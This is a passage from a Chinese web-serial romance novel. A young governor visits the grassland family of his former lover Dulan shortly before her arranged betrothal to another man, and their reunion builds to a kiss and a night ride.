又过了几日,牧仁笑着从泰赤乌部回来,手里拿着新的马鞍和刀具。 他一看见都兰,便忍不住跟她说起市场上的热闹。 “市场上竟然还支起了汉人的医帐,大排了长龙,不过我可不信汉医,就没去看。” 图雅正给其其格梳辫子,闻言笑道:“你是怕丢饭碗吧。” 牧仁嘁了一声:“咱们家光是养牛放羊就够活的了,往后没人找我看病,我乐得清闲。” 他拿着新买回来的物件,感叹道:“不过这汉人做的铁器是真好。” 都兰听着两人说笑,也跟着乐呵起来。 “有汉人的大夫到泰赤乌部了?” 牧仁点点头:“是,帐子外头挂着草药,还有人拿着小本子记东西,说是能免费看病、给汤药。” 说着,苏赫也从外面回来,手里拿着个布包,也是喜气洋洋的。 “嘿!你别说,这新来的巡抚有点东西!” 都兰瞪着眼:“阿爸,你见着他人了?” 苏赫点点头,把布包往矮桌上一方,解开绳结,露出里面两包用油纸裹着的东西。 “巡抚衙门的人发的。这包是麦种,说是奈寒,咱们楼烦的土地也能种,还教了怎么耕地、施肥。另一包是治牛羊疫病的药粉。” 都兰凑过去,拿起那本农耕册子,陌生又熟悉。 牧仁又嘁了一声:“汉人能比我们更了解牛羊疫病该怎么治?真是送些不值钱的好处过来,还要我们感恩戴德。” 苏赫倒是改观了一些:“至少现在咱们得的都是好处。行了,我得把这些种子给部落里的人发下去。” 都兰指尖抚上册子上画着的犁地的图样,旁边标注着“深耕三寸,留足行距”,连怎么分辨土壤好坏都写得明明白白,心里那点异样又涌了上来。 不知怎的,她想起从前陈锦时给她抄来的养花手册。 图雅把灶上焖煮着的羊肉端下来,等着一家人都回来。 羊肉的香气漫出去,都兰帮着图雅摆好木碗。 “姑姑,这册子上画的是什么呀?”其其格凑过来,小手指着册子上的麦种图样,眼睛亮晶晶的。 都兰笑着把她抱到膝上:“是能长出麦子的种子,秋天能磨成粉,给你做甜饼吃。” 其其格欢呼一声。 苏赫送完种子回来,部落里也很少有看中这玩意儿的。 说到底,楼烦人还是以放牧为生。 苏赫在饭桌上坐下,图雅给他端了一碗羊肉,他“啧”了一声,看向都兰:“你方才不是问我,看到他人了没有,我看到了!” 牧仁问:“在哪儿看到的?” “他今日就在泰赤乌部,看着挺年轻,挺俊的,跟个小白脸儿似的,也就二十出头的样子,眉眼冷生生的,不怎么爱笑。要不是他看起来怪冷的,我还说,叫他晚上来咱们家吃饭呢,嘿嘿。” 说着,苏赫不好意思地捋着下巴笑。 牧仁又嘁了一声:“人家是什么人物?我说阿爸,你也别太自以为是了。” 其其格托腮憧憬:“我也好想看见……也不知道他跟姑父哪个生得好看。” 图雅轻轻戳了戳其其格的脑门:“怎么跟你姑姑小时候一模一样。” 都兰忙从羊肉碗里抬头,瞪眼,她小时候怎么了? 图雅不好意思地看了她一眼。 牧仁嘁了一声:“花痴嘛。” 都兰一口羊肉噎在嗓子里。 苏赫把其其格拎到膝上抱着:“下回赶集阿爷带着你一起去,叫你看看那位巡抚大人与谢小将军哪个更俊。” 其其格咯咯直笑。 牧仁道:“别了,阿爸,你干脆下次真的把那位巡抚大人请到咱们家里来吃顿饭得了。” 牧仁这句话显然是在笑他阿爸没有自知之明,苏赫在整个楼烦都是自大得很的。 毡房里哄堂大笑,其其格拍掌欢呼。 苏赫被架上去,瞪了儿子一眼:“你这小子,我要真请来了怎么说!” 都兰一边笑着一边给台阶:“巡抚大人忙着公务,哪有功夫来,别乱开玩笑了。” 其其格被当头泼了一瓢冷水。 直到半个月后,苏赫去泰赤乌部给部落里的人领农具,正好又碰到巡抚大人带着随从在集市巡查。 苏赫是个胆子大的,一鼓作气,便走上前打了声招呼。 “巡抚大人好啊。” 陈锦时停下脚步,目光落在他身上,他哪能不认识苏赫呢,从他见苏赫的第一眼就把此人的面貌刻进了脑海里。 “苏赫首领,有什么事吗?” 苏赫搓了搓手:“你吃了吗?” “吃过了。” “吃的什么呢?” 陈锦时扬唇笑着:“吃的羊肉,你们楼烦的羊肉真是太好吃了,我从前在金陵的时候就很喜欢吃。”牧仁阿兄寄过来的羊肉,阿姆亲手煮给他吃。 他拢在宽大袖子里的手轻轻蜷起,微微发着抖。 他还能与眼前老丈人说些什么话题呢? 他不敢冒昧,又不甘心,始终就这样与对方不远不近。 哪想苏赫眼睛一亮,趁机往前凑了两步:“大人爱吃就好!咱们这儿的羊,都是放着野坡长大的,肉质紧实,烤着吃、炖着吃都香!不瞒您说,我家那丫头手艺好,炖的手把肉,保准你连汤都能喝光!” 陈锦时神色一动,连忙上前,目光紧紧锁住老丈人,喉结动了动,咽了咽口水:“是吗?” “那可不!”苏赫拍着胸脯,“不光炖肉,奶茶也煮得香。我家就在答兰部落,离这儿也不算太远,大人今儿一定得跟我走一趟,回去尝尝。” 陈锦时身边的随从正想拦,陈锦时状似沉吟了片刻,笑着道:“苏赫首领盛情相邀,锦时不敢扫兴,那便叨扰了?” 苏赫没想到巡抚大人真的会答应,咧嘴笑着,搓着手道:“那太好了!” 说着,一巴掌拍在他背上,陈锦时也是练武的身子,也被他拍 得一踉跄。 “大人别见怪,咱们骑马,半个时辰就能到部落。” 随从给陈锦时牵来一匹高大黑马,正要派几个官兵跟上,被陈锦时制止了。 趁着苏赫去牵马的间隙,他少不得要回头与属下嘱咐几句:“要是我晚上没回来,不必着急,也不必来寻,千万别来找我。” 随从应了声,又问:“那明天呢?” 陈锦时藏不住嘴角的笑:“我就是一年没回来也别来找我。” 说着,他已翻身上马,随从挠着头纳闷。 还不到黄昏,两人骑在马上并肩沿着河畔往答兰部落走。 河畔的春阳暖得正好,洒在洒在泛着粼光的水面上,像撒了一把碎金。刚解冻的河水带着融雪的清冽,哗啦啦地淌着,偶尔有几尾小鱼摆着尾巴跃出水面,溅起的水花落在岸边的青草上,沾成细碎的露珠。 远处的羊群像一团团滚动的白云,慢悠悠地啃着草,放羊的姑娘甩着鞭子,调子轻快的牧歌顺着风飘过来,混着河水的气息,格外欢快。 陈锦时骑着马,□□黑马好似也心情愉悦,马步迈得一蹦一蹦的。 只见坡地上的新草密匝匝地铺着,像一块柔软的绿毯,一直铺到天边。远处的雪山还带着残雪,白得像顶帽子,衬着底下的绿草、碧水,颜色鲜明得像幅刚画好的画。 原来楼烦这么美,原来这里一点也不寂寥。 嘿嘿,他在去她家的路上。 黑马似乎也贪恋这春日的景致,蹄子踏在河边的软泥上,慢悠悠地走着,偶尔低头啃一口路边的嫩草。 苏赫一直朝他傻笑,陈锦时回以他同样的笑。 他今日是世上最快乐的小男孩。 即将要回到妈妈怀抱的小男孩。 苏赫只觉得,新来的巡抚实在平易近人。 陈锦时只觉得,老丈人实在和蔼可亲。 实际上,苏赫正想着怎么把巡抚大人带回去给牧仁看看,他苏赫这张脸,就是巡抚大人也得给几分薄面,说来就来。 苏赫心里打着小算盘,嘴上也没闲着,指着远处一片开得正盛的小黄花笑道:“大人你看,那是金雀花,咱们草原上的人都爱摘来泡奶茶,喝着带点甜香,等会儿到了家,让都兰给你泡一壶尝尝!” 陈锦时面上笑得有点腼腆,低声道:“还是不劳烦小姐了吧,她又要煮羊肉,又要煮奶茶的,累着了可怎么办。” 苏赫眼神复杂地看着他:“你想喝牧仁泡的?那也行!” “……” 两匹马继续前行,远远的,陈锦时心里越来越紧张,下意识放慢了马的速度,苏赫没察觉,他正扬着嗓子朝部落里大喊:“看看谁来了!” 陈锦时的心被那声喊揪紧了,下意识勒住马缰,黑马打了个响鼻。 苏赫那声喊带着他独有的洪亮,像石子投进平静的湖面,瞬间打破了部落的宁静。 牧仁从羊圈里出来,手里还攥着鞭子,听见声音皱着眉嘀咕:“阿爸你又在发什么疯?” 陈锦时骑在高头大马上,牧仁抬头,四目相对的瞬间,牧仁被惊吓得险些厥过去。 苏赫下马,朝屋内喊:“都兰呢?” 牧仁,指着西边的山坡,喃喃道:“去放羊了,还没回来。” 苏赫闻言,拍了拍大腿:“咦,怎么偏偏这时候去放羊了!” 声音里全是对巡抚大人吃不着都兰亲手做的羊肉的惋惜。 这个家里,都兰做的羊肉是最酥烂美味的。 牧仁很快回过神来:“我还说晚上简单吃点呢,阿爸,我这就去煮羊肉。” 牧仁煮的也还行,苏赫希望巡抚大人吃了下次还想来。 陈锦时既想朝山坡上望去,心底又害怕不已。 那里隐约能见成片的绿,风一吹,草浪起伏。 山坡上,草叶难得被四月的阳光晒得暖融融的,混着泥土和野花的气息。 都兰枕着手臂躺在坡上,视线追着天上的云。 那云飘得极慢,她的眼珠也极缓慢地转动着。 羊群在不远处啃草,“咩咩”的叫声被风吹得轻飘飘的,她眯着眼,几乎要睡过去。 这是她每日最自在的时刻。 他将马停在不远处,步伐不疾不徐地朝她走去。 都兰起初只是懒懒地掀了掀眼皮,却愣住了。 她几乎要怀疑自己是被阳光晒花了眼,她用力眨了眨眼,再定睛看去,那人已经走到他头顶,停下脚步。 他俯下身,衣摆扫过草叶,带起一阵极轻的声响,熟悉的气息裹着阳光的温度,一下子罩住了她。 “不认得我了吗?” 陈锦时看着她紧绷的神情,心里像被什么东西揪着疼,面上却仍然似笑非笑。 他的声音比记忆里沉了些。 黄昏的阳光从他发梢滑落,她忽然发现,他比从前清瘦了些,下颌线更锋利了,唯有那双眼睛,还带着当年的执拗。 就像此刻,他望着她的眼神,霸道、恳求、委屈。 她以为自己真的快要忘了他了。 直到真的确定他就在眼前,那些被刻意压抑的思念,才像草原上的野草般疯长,疯长。 她轻轻咬住下唇,其实只要一伸手,便能捞住他的脖颈,狠狠抱住他,让他栽倒在她的怀里,让她与他一同倒在草地里。 可她不知想到了什么,大概,想到了三年前她留下的那封信,或是,想到了谢清樾。 她最终什么也没做,猛地咬住下唇,尝到一丝淡淡的腥甜,心里泛起一阵阵酸涩。 最终只是一动不动地躺着,眼眶却慢慢红了,酸涩像潮水似的漫上来,从眼底一直淹到心口。 陈锦时看着她忍住不落泪的眼眶,指甲深深掐进掌心,刺痛顺着掌心传上来,才勉强压下了心头翻涌的冲动。 他今日这样过来,已经用光了所有冲动。 她三年前的离去是绝情的,也是命中注定的。 这样的绝情和命中注定彻底压垮了他的少年心性,彻底将他打趴下。 他如今做不出任何。 风又吹过来,卷着草叶擦过两人的衣角,明明离得这样近。 苏赫站在毡房前,手搭着凉棚往山坡上望:“陈大人怎么还没把都兰叫回来。” 话音刚落,就见山坡上两人,一人骑在马上,一人牵着马,正缓缓往山下走,他们身后跟着羊群,像一团团白绒球。 陈大人动作极生涩地挥了挥鞭子,把羊群往山下赶,没一下都软乎乎的,倒像是在哄着羊走。 “可算回来了!”苏赫迎上去,嗓门亮得很,“牧仁把羊肉都炖上了,就等你们呢!” 陈锦时牵着缰绳,走到门前,抬手,要扶她下来。 他忘了,她下马一向不需要人扶的,他刚伸出手,她已稳稳站在草地上,站在他跟前。 苏赫接过缰绳,将马牵到一处去吃干草。 都兰掀开毡房的帘子,穗子扫过手腕,侧身请客人先进去,她今日穿了件靛蓝色的长袍,腰间系着羊毛织的腰带。 图雅早迎在门口,也上前招呼:“巡抚大人,快进来坐!” 她将炕上收拾了一番,目光落在陈锦时脸上时,怔了一瞬。 与都兰对视一眼。 苏赫还真没说错,小伙子长得真俊呐。 苏赫在外头喊:“都兰,你去把羊赶进圈里,然后赶紧进来帮忙。” 都兰应了一声,转身往外走,陈锦时的目光跟着她,直到门帘落下遮住她的身影,才被苏赫一把拉回神:“先来尝尝牛肉干!” 粗粝的手掌塞过来一块深褐色的肉干,陈锦时被他盯着,咬了一大口,嘿嘿笑着。 咸香混着孜然的味道,嚼起来越嚼越香,口感扎实。 “咱们楼烦的人,出门放牧都揣着这个,比汉人那些甜腻糕点顶用多了!”苏赫自己也抓了一块,嚼得“咯吱”响,眼里满是得意。 陈锦时又咬了一口,牛肉干的咸香混着香料味在舌尖散开。 真的很香。 图雅端着铜壶进来,奶茶“哗啦啦”倒进瓷碗,热气裹着砖茶的焦香飘过来,她把茶碗推到陈锦时面前:“大人是从京城来的,就怕吃不惯咱们粗茶淡饭。” 陈锦时忙道:“嫂子客气,我很喜欢。” 图雅笑了笑,转头朝里屋喊:“其其格,快出来给客人问好!” 其其格一半个身子躲在门后头,一双圆眼睛偷偷瞧着客人,显然是不好意思。 苏赫笑得拍腿:“哟!这倒是少见,还有让你其其格感到害羞的人!” 其其格被苏赫说得脸一红,攥着衣角从门后挪步出来,被图雅一把拎到巡抚大人跟前。 “问好!” “姑……姑父好!”脆生生地喊了一句,又飞快躲到图雅身后,只露出一双亮 晶晶的眼睛,偷偷打量他。 图雅拎着她狠打:“管谁叫姑父呢?叫错了!重新叫!” 陈锦时紧绷着的眉眼总算松缓下来,忙笑着摆手道:“不必,不必,小孩子不懂事。” 图雅解释道:“她是这样的,见着俊俏男子便喊姑父,喊谢小将军喊惯了,以为姑父是那个意思。” 陈锦时握着茶碗的手顿了顿,笑意里顿时掺了点不易察觉的涩。 苏赫没瞧出他的微妙变化,嚼着牛肉干笑道:“清樾那小子模样长得周正,性子又稳,这些年帮家里做了不少事,我做了主,等秋天把都兰嫁给他。” 都兰正好掀帘进来,听见这话,她垂着眼,长长的睫毛在眼下投出一小片阴影,没有反驳。 陈锦时抱着茶碗,滚烫的奶茶隔着碗烫得掌心发疼,他却跟没知觉似的。 还是都兰先发现了他。 她走过来,弯腰轻轻把他手里的茶碗挪到桌上,声音放得软:“先晾一会儿,等会儿再喝吧,这个很烫的,你小心些。” 他怔怔地望着她,她还是他的阿姆啊…… 陈锦时适时张口,声音沙哑,带着只有都兰能听懂的,无可奈何的情绪。 “是,谢将军跟我说过了,邀我下月来吃席。” 都兰忍不住回头看他,她心里并不平静。 她与谢清樾的婚事是建立在,“这一生再也不会见到陈锦时”的念想上。 让陈锦时亲眼看着她同旁人成婚,这非她所愿,也非他该受。 她与陈锦时当初只是不该继续在一起,而不是他做错了什么,需要得到她的惩罚。 她轻轻蹙起眉头,不想要这样的结果,也不该是。 归根结底,陈锦时,你为什么要来呢? 你要么一辈子也别来,既然来了…… 你的再次出现,扰乱了我的一切,而我……你知道的,阿姆从来不愿让你难过的。 第63章 牧仁煮好羊肉出来,视线在两人中间转了转。 苏赫挑眉:“是吗?那你到时候尽管来,到时多吃两锅手把肉,再叫部落里的人都见见你。” 要开饭了,图雅招呼陈锦时坐在一方矮凳上。 牧仁把炖着羊肉的铜锅端下来,揭开锅盖时,乳白色的汤雾裹着肉香涌出来,引得其其格一阵欢呼,小爪子扒着炕沿喊:“好香啊~” 她小心翼翼往陈锦时身边靠:“姑父哥哥,我能坐在你身边吗?” 都兰没忍住摸了摸其其格的头:“其其格,你想坐在哪里都可以。” “姑父”这个词对其其格来说好像成了用来形容英俊男子的专用称呼。 但出现在她家的英俊男子实在不多,再加上其其格与她姑姑都兰在审美上有些相似之处,目前有幸被其其格称为“姑父”的便只有两人而已。 但陈锦时脸上的笑意绽开了些,好像,也不是那么难过了。 陈锦时往旁边挪了挪,给小姑娘腾出位置:“当然可以。” 其其格立刻像只小麻雀似的挤过去,仰着小脸看他:“姑父哥哥,你比姑父还要好看一点点。” 她捏着手指示意:“就这么一点点。” 图雅连忙瞪了女儿一眼:“净瞎说!快吃你的肉。”说着,给其其格碗里放了一大块肥瘦相间的羊肉。 都兰垂着眼,默默盛了一大碗,专门挑的肥瘦相间的,一只羊身上最好的部位,递到陈锦时跟前,低声道:“尝尝看,牧仁煮羊肉的手艺也很好的。” 陈锦时没来得及伸手出去,她已经放下了,然后退回自己的座位,一切就像不经意间发生的一样。 他低头看着碗里奶白的汤,鼻尖萦绕着熟悉的羊肉香气,心里却五味杂陈。 苏赫道:“都兰,把客人照顾好。” “嗯,知道。”她轻轻点头。 饭桌上,苏赫兴致勃勃地跟陈锦时聊起部落里的事,从牛羊的长势说到最近的天气,又说起互市给部落带来的好处,三句不离对陈锦时的夸奖。 都兰与陈锦时默契地都没提,他与陈济川的关系。 否则难免要拔出萝卜带出泥,扯出一堆盘根错节的关系来。 事到如今,都兰不过是觉得没必要再提起从前那些关系,而陈锦时,大抵是再不想承认。 那是背在他身上的枷锁,要压得他永世不得翻身。 “谢谢。”陈锦时低声道谢,舀了一勺汤送进嘴里,温热的汤汁滑进喉咙,暖得他胸口发闷。 苏赫的脸膛因为喝了酒,红得像块烧红的炭,嗓门也比平时大了不少:“陈大人,我叫都兰把马奶酒拿出来再陪你喝两杯。” 都兰手撑着桌子,额头抵在手背上,懒懒地斜看过去,酒足饭饱之后,她神态有些慵懒。 眼睫还半垂着,斜着眼从苏赫和陈锦时身上扫过。 听苏赫叫她,便要起身去取酒来。 图雅在一旁道:“陈大人明日恐怕还有公务,阿爸,别再劝人喝酒了。” “陈大人是我们部落的贵客,不喝好了再走,传出去人家还以为我苏赫招待不周!”苏赫梗着脖子,理直气壮。 都兰站起身,她喝酒不上脸,只是眼底泛起了些迷蒙水光。 “好了好了,阿爸,我就取一坛来,喝光了就放人家走吧。” 陈锦时目光未从她身上离开过,但他只是装作醉了,便放肆地将目光黏在她身上。 都兰转身进了屋,很快抱着一个沉甸甸的羊皮酒囊出来。 酒囊是用整张羊皮缝制的,她走到挨桌旁,蹲下,将酒囊放在桌上,扒开塞子,一股浓郁的奶香和酒香混合在一起,瞬间弥漫了整个毡房。 “这是今年新酿的,陈大人尝尝。” 都兰说着,给陈锦时面前的银碗里倒了满满一碗,又给苏赫倒了一碗。 苏赫举起酒碗一碰:“来喝,嘿嘿。” 陈锦时看了看碗里的酒,又看了看都兰,她眼神清澈,只带着一丝酒后的迷蒙,让人看不透她在想什么。 只不过她看着他时,眼眸还是如同往常的那样温柔似水,柔柔地看着他,仿佛他的所有诉求她仍会满足一般。 但他怎会呢?怎会再敢提出什么呢? 他实在是怕了她的忽然离去。 马奶酒刚入口时是淡淡的奶香和甜味,咽下去之后,喉咙里才泛起一丝辛辣,后劲十足。 “好!好酒!”陈锦时称赞了一声。 都兰坐到他身旁去,温柔替他添酒。 酒液在银碗里晃荡,映着都兰低垂的眼睫。 她的指尖纤细,握着酒囊的口。 温热的酒顺着碗壁滑下,发出细微的声响,在喧闹的毡房里却格外清晰。 陈锦时的目光,从她握着酒囊的手指,一路滑到她的肩,滑到她的颈窝,他曾经最爱痴缠流连之地。 他能闻到她身上淡淡的青草气息,像一张温柔的网,将他整个人都网了进去。 都兰知道他在看着她。 她脸上挂着浅浅的微笑,给他倒好了酒,推给他:“慢点喝,这酒很烈的。” 语气像是调侃一般,她只是很快地与他凑近了一下,又很快撤开。 “好,听你的。”他低声说,声音带着沙哑。 都兰坐到一边,手放在其其格的头上一下一下地抚摸,脸上一直扬着恰到好处的温婉的笑,侧脸在油灯的光线先柔和得像一幅画。 他忽然觉得心头有些发闷,辛辣的酒液灼烧着喉咙,心底情绪翻涌。 几日一晃而过,离都兰与谢清樾订亲的日子只剩三日,谢清樾总算从军营里抽身过来。 他来的时候,都兰正坐在毡房门口织着羊毛毯,见他回来,停下手中的活计,站起身:“你来了。” 她语气平静,听不出情绪。 谢清樾盯着她看了半晌,都兰脸上没什么表情。 苏赫从毡房里迎出来,如今对谢清樾态度好多了,拍着他肩膀:“快进屋歇着,图雅刚炖了羊肉。” 图雅也笑着招呼:“谢将军快进来。” 谢清樾往里走,唯有在与都兰擦身而过时,与她说了声:“你知道了吗?陈锦时来了。” 都兰神色一僵,随后跟着进了毡房。 一家人刚坐下,苏赫便开始念叨三日后的订亲宴是如何安排的。 谢清樾神色复杂地看着都兰,试图从她脸上确定清楚事情的肯定性。 苏赫依旧兴致勃勃地说着,图雅和牧仁偶尔搭话。 谢清樾一直看着都兰,看了许久。 直到饭后,二人来到山坡上,放任羊群自由吃草,他们站在树下。 “都兰,如果事情需要有什么变化,你大可以直说。” 都兰将手臂揣在胸前:“谢清樾,你让步太多了。” “我看他很可怜的样子。”谢清樾现在的表情看起来更可怜。 都兰也不知道该怎么说,大概,对草原女子来说,她前半生嫁给一个男人,后半生改嫁给另一个男人,并不是什么难以理解的事情。 她始终没太有“定要做出一个选择”的想法。 事情该由两个男人自主争夺才对。 哪怕她过两日便要与谢清樾订亲了,陈锦时到时候定会伤心,她也只会心疼他的伤心,不会做什么,除非他自己来争,来捣乱,来搅乱一切,那么她会偏向他,这是她的偏爱。 “都兰,”他声音低沉,终于,带着一丝疲惫,“感情不是羊群,可以放任自流。它需要人去经营,去守护。” 都兰转过头,看了他一眼,眼神清澈,却又带着一种看透世事的淡漠。 “谢将军,我在草原上长大,习惯了放任自流,十多年前,有人邀请我去金陵生活,我便去了金陵,三年前,有人叫我回家,我便回家了,半年前,你向我父亲求娶我,我便答应了。” 谢清樾沉默着。 “所以,你若真的不愿相让,大可摆出态度来,你若说你要让,我就真的走了。” 哪怕谢家的聘礼已经千里迢迢地送了过来,也丝毫不能成为她的枷锁。 哪怕曾经与她两情相悦、抵死缠绵过的陈锦时,如今追了过来,她也不会立马转头向他。 她人生中所做的任何决定都不让她难受,也不让她后悔。 大抵陈锦时如今不甘却不敢上前的极大一个原因,便是出于她的淡漠。 无人能左右她,哪怕是她最疼爱的孩子;无人能绑架她,就算是婚姻。 就算是抢来了,她也不会受任何人的桎梏。 “好。”谢清樾深吸一口气,像是做出了某种决定,“我知道了。” 都兰没有说话,只是重新转过头,望向远方的草甸。 她有些遗憾,遗憾谢清樾的坚定,又遗憾陈锦时的畏缩。 虽说她放任自流,但心底的天平,其实早就在往一侧倾斜。 那天晚上,陈锦时在她家待到很晚,他被苏赫灌得烂醉,苏赫感到很骄傲,客人在他家里得到了很好的招待。 苏赫叫都兰给陈大人收拾一张炕出来,又叫都兰把陈大人扶到炕上去歇下。 都兰照做了,陈锦时栽倒在她的胸脯上。 她冷眼将他放下,脱了他的鞋。 除此之外,他再没有什么过界的动作。 毡房里灯火昏暗,苏赫的鼾声已经响起,像一头得到满足的黑熊。 空气中带着一种温热的、迷醉的感觉。 都兰站在炕边,静静地看了他片刻。 平日里他冷冽的眼神此刻被醉意掩盖,显得温顺而脆弱。 她弯下腰,伸出手,指尖带着一丝犹豫,轻轻解开了他腰上的系带。 她的动作很轻,他一直睁着眼看她,什么也没做。 连一声轻唤“阿姆”的撒娇,也没有。 她有些遗憾,她给了他不少机会。 解了外衣,她开始解里衣。 这个简单的动作,显得格外漫长而暧昧。 她听到他的呼吸清晰而急促。 她说:“脱了睡吧,舒服一点。” 都兰的指尖触碰到陈锦时里衣的布料,那是一种细腻的丝绸,与她身上粗糙的羊毛长袍截然不同。 她的动作很慢,带着一种近乎仪式感的郑重,仿佛在进行一场只有他们两人知晓的秘密。 陈锦时依旧睁着眼,那眼神不是平日的冰冷疏离,也没有了醉酒后的迷蒙,反而像一口深不见底的古井,里面翻涌着复杂的情绪。 有震惊,有渴望,还有一丝挣扎。 他的喉结不自觉地滚动了一下,却什么也没说,只是任由她的手指在他胸前游走。 都兰能感觉到他身体的僵硬,以及皮肤下脉搏的剧烈跳动。她的指尖也有些发烫,每一次触碰,都像是在点燃一簇细小的火苗。 他那天什么也没做,都兰回想着。 订亲的前一日夜晚,谢清樾和他的两位哥哥都过来苏赫家的毡房住下了。 另外还有一些谢清樾在官场上的朋友,作为宾客,和娜仁额吉一样,提早一天在苏赫家住下了。 包括陈锦时在内。 苏赫亲自招待的陈锦时,甚至安排他晚上就睡在自己的炕上。 毡房里挤得满满当当,一片喧闹的景象,图雅穿梭着给客人添茶,都兰端着一盏油灯,小心翼翼穿过,从毡房里出来,站在羊圈前平静地喘息。 部落里的亲朋们围在篝火前载歌载舞,必定是要饮酒作乐一整晚,迎接好日子的到来。 谢清樾见她出去了,便忙起身跟出去:“都兰,怎么了?” “里面太吵了,我出来歇一会儿。” 谢清樾顺着她的目光望向远处的篝火,火光映照着人们欢快的脸庞,歌声和笑声顺着风飘过来,带着浓浓的喜庆气息。 “你现在在想什么?”谢清樾转头看她,月光下,她的脸庞显得格外柔和。 都兰沉默了片刻,正要张口,却见陈锦时从谢清樾身后出现,她有些诧异。 月光在他脸上投下深深地阴影,勾勒出一张凶厉而阴沉的面容。 他的眉眼本就生得深邃,此刻更透着寒光。 沈樱忽然觉得,他眼底藏着一种近乎疯狂的阴郁,里面翻涌着嫉妒、不甘和压抑。 高挺的鼻梁下,嘴唇紧紧抿成一条直线,下颌线绷得极紧,彰显着他内心极致的隐忍。 她心头一跳。 张了张嘴,正要说什么,苏赫站在门口喊人:“谢小将军,你进来,我有话跟你说。” 谢清樾深深看了陈锦时一眼,只好离去。 都兰避开陈锦时的眼,他今日好似变了个人。 毡房里的笑闹声被厚厚的毡帘隔绝在内,那轮冷白月亮将两人的影子拉得很长,在草地上叠出纠缠的轮廓。 “都兰。”他终于开口,声音比夜风还低。 “陈锦时,你为什么会来楼烦?” 她先一步质问,原以为他们会在两条路上各自过各自的日子,一直走到底的。 她不懂他为何要到这样的地方来。 “因为你啊,阿姆。”陈锦时往前迈了一步。 他的脚步很轻,像踩在都兰的心尖上,每一步都让她的心跳更快一分。 空气中弥漫着他身上清冽的气息,混杂着淡淡的酒意,那是一种让她既熟悉又陌生的味道。 是金陵的桂香,京城的墨香,又夹杂了楼烦的雪气。 他停在她的身前,很近很近。都兰甚至能感觉到他身上散发出的体温,还有他略显急促的呼吸,拂过她的耳畔。 “可,可我……” 她恍然抬头,想起来,若陈锦时领皇命来到这里,太子一定知道他们会再次相遇,那太子定是不再介怀他们二人之间的私情。 那会不会,太子告诉过陈锦时,三年前她留下的手书,是被逼迫而写,不是她的真心话。 她试探地看他,想从他眼底找出答案。 若是他知道了真相,那他定会破罐子破摔。 若是他不知道,都兰也不知道该怎么办,或许继续瞒着他对三个人都好。 可若是他知道的话,为何前阵子来她家里会是那样的态度。 都兰现在猜,太子还留了一手。 太子是个好人,却不会是个大善人。 陈锦 时并不知道那封信不是她的真心话,当真以为她对他绝情至此,希望他此生勿念勿寻。 那他如今这是…… 陈锦时的耐心似乎终于耗尽了。 在昏暗的月光下,他的眼睛深邃得像寒潭,里面翻涌着她从未见过的疯狂和阴郁。那是一种压抑到了极致,即将喷薄而出的情感。他的瞳孔里清晰地映着她的脸,苍白而慌乱。 他伸出手,用指尖轻轻捏住了她的下巴,力道不大,却带着一种坚定的力量,迫使她抬起头。 四目相对。 “为什么不看我?”他问,语气里带着一丝委屈,还有一丝疯狂的偏执,“就算你此生不要我来找你,可我陈锦时是什么人?” 阿姆,你不知道陈锦时是什么人吗? 都兰的嘴唇动了动,心跳得飞快,快要跳出胸腔。 陈锦时看着她这副模样,眼底的火焰燃烧得更旺了。他再也无法抑制自己心底的冲动,猛地低下头,吻住了她。 这个吻来得猝不及防,带着一种近乎粗暴的掠夺性。他的唇很烫,像一团火,灼烧着她的唇瓣。 都兰的大脑一片空白,但下意识回吻。 她不需要他禁锢住她,便双手缠上他的脖颈。 他的吻越来越深,越来越用力。 而她与他势均力敌,她接住了他的吻。 渐渐的,他察觉到她的情意,在她口腔中搅动的舌忽然一顿,在她主动掠夺时,反倒退缩起来。 他隐隐感觉到,这其中,好似有些他不知道的隐情。 在那一顿里,他怔愣的一瞬间,都兰已经开始惩罚他。 他猝不及防,闷哼一声:“都兰!” 声音有点不受控的颤。 她恼怒他一般,喘着气挪开唇,抵在他肩头时,轻轻喘息着,说道:“怎么现在才来!” 嗓音里几乎带着哭腔。 她蹙着眉头,事情如今已经不太好办了。 要么永远别来,为什么现在才来…… 他接收到她肢体传达的情绪,她在埋怨他,她在对他的某些行为感到不满。 陈锦时起初以为她的不满在于他的到来。 他一颗心猛地一震,似乎想到了什么。 那封信! 三年以来,他当真以为字字是她真心之言。这个认知像一道惊雷,在他混乱的思绪中炸开。 都兰在想,陈锦时不该这样畏首畏尾。 那么一切都是因为那封信。 甚至,她觉得他该在她离开的当天,就快马追过来! 陈锦时本就会放弃在京城的一切,一心一意追随她的! 他接受她的惩罚。 “阿姆,我还以为你当真不要我了。”他呜咽着说道。 他伏在她肩头,因为疼,在她肩上咬了一口。 所有伪装和克制在瞬间撕碎,都兰狠狠地惩罚着他。 “是我蠢……”陈锦时声音哽咽,他万分自责,喉间溢出一声呜咽。 他猛地将都兰打横抱起,往毡房后的马房走去。 毡房里是家人,毡房外是部落里的亲戚,两人无处可去。 他们上了一匹马上坐着,都兰背紧紧贴在他猛烈跳动的胸膛上,他紧紧拢着他。 他提着缰绳,调转马头,朝着草原深处疾驰而去,要逃离一切。 夜风在耳边呼啸,他低头,吻覆上去,急切而霸道,从她的唇一路吻到她的颈窝。 他们在马背上颠簸,依偎着。 宾客都已凑齐了,好似一切都没了回旋的余地。 但这里不是金陵,也不是京城,这里是楼烦,她的地盘,她说了算。 每一个吻都带着失而复得的狂喜和压抑许久的渴望,仿佛要将她整个人吞噬。都兰没有丝毫抗拒,她热烈地回应着,双手紧紧攀着他的手臂,身体因为激动而微微颤抖。 不知跑了多久,陈锦时勒住了马。他们停在了一处背风的山坡下,这里远离了部落的喧嚣,只有虫鸣和风吹过草叶的沙沙声。 “都兰,若是我不来,你真的会嫁给谢清樾。” 都兰在山坡上躺下,闭上眼,“嗯”了一声。 他朝她压下来,攻击性和压迫感笼罩住了她。 “你就真的这么狠心!” 他的声音里带着一丝受伤的质问,身体却像一具野兽。 都兰伸手温柔抚摸着他的脸颊:“对不起。” 他伏在她的胸口狠狠哭泣。 — 谢清樾站在毡房前等了许久,才等到二人共乘一匹黑马回来。 他的目光落在都兰脸上,她脸颊泛着红晕,眼神清亮却安定。 而陈锦时一如既往,脸上扬着属于胜利者的笑意。 他深吸一口气,压下心头翻涌的涩意,主动走上前。 “明日是都兰与我订亲的宴席,宾客们都已经在了。” 谢清樾只是陈述事实,他不介意两人刚才做了什么,都兰忍了三年了,见到旧情人,身体上有些欲望也是应该的。 都兰抬头,在谢清樾的身后,苏赫从毡房里走出来。 苏赫目光从三人脸上扫过,最终落在陈锦时身上:“忘了说了,我们楼烦订亲有个老规矩。” 谢清樾和陈锦时同时看向苏赫。 